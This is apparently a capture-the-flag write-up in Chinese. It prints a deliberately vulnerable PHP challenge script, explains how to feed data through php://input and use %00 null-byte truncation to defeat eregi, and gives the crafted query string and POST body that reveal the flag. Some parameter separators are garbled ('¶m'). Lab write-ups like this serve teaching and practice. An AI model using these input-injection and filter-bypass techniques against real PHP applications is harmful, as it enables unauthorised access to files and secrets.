error_reporting(0);
echo "<!--code is in code.txt-->";
if(!$_GET['code'])
{
header('Location: index.php?code=1');
exit();
}
$param1=$_GET['param1'];
$param2=$_GET['param2'];
$code=$_GET['code'];
if(stripos($param2,'.'))
{
echo 'No1';
return ;
}
$data = @file_get_contents($param1,'r');
if($data=="1112 is a nice lab!" and $code==0 and strlen($param2)>5 and eregi("111".substr($param2,0,1),"1114") and substr($param2,0,1)!=4)
{
require("flag*******************.txt");
}
else
{
print "No2";
}
?>
先分析一波源码,
1.如果没有获得code值将code赋值为1,退出。
2.get方式获得param1,param2,code值,param2中不能含有.,
3.看到file_get_contents()想到php://input传值。
4.看到eregi()想到%00截断
5.如果data="1112 is a nice lab!" ¶m2长度大于5并且1不能匹配1114,并且param2的第一个数不等于4,输出flag
构造payload
?code=param1¶m1=php://input¶m2=%00111444
post传值:1112 is a nice lab!
成功获得flag。